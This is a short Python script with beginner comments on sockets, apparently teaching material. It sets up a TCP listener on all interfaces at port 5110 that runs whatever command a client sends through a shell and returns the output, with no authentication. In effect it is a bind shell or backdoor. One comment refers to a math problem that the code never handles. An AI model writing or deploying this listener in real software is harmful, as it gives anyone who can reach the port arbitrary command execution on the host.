#!/usr/bin/env python3 from socket import * from struct import pack, unpack from subprocess import getoutput # Create a socket. This doesn't open a port or anything yet # Parameters: # AF_INET is ipv4, AF_INET6 # SOCK_STREAM means TCP, SOCK_DGRAM would be UDP our_socket = socket(AF_INET, SOCK_STREAM) # Bind is only for servers, not client # clients call connect instead # Still doesn't open it, although we have an address # Double parenthesis = 1 argument which is a tuple our_socket.bind(("0.0.0.0", 5110)) # First, get a math problem from the client # Actually opens the port # Argument is a queue of connections to accept our_socket.listen(5) while True: client_socket, client_address = our_socket.accept() print("We got a new connection from: ", client_address[0], client_address[1]) clients_command = client_socket.recv(1024) output = getoutput(clients_command) client_socket.send(bytes(output, 'UTF-8')) client_socket.close() our_socket.close()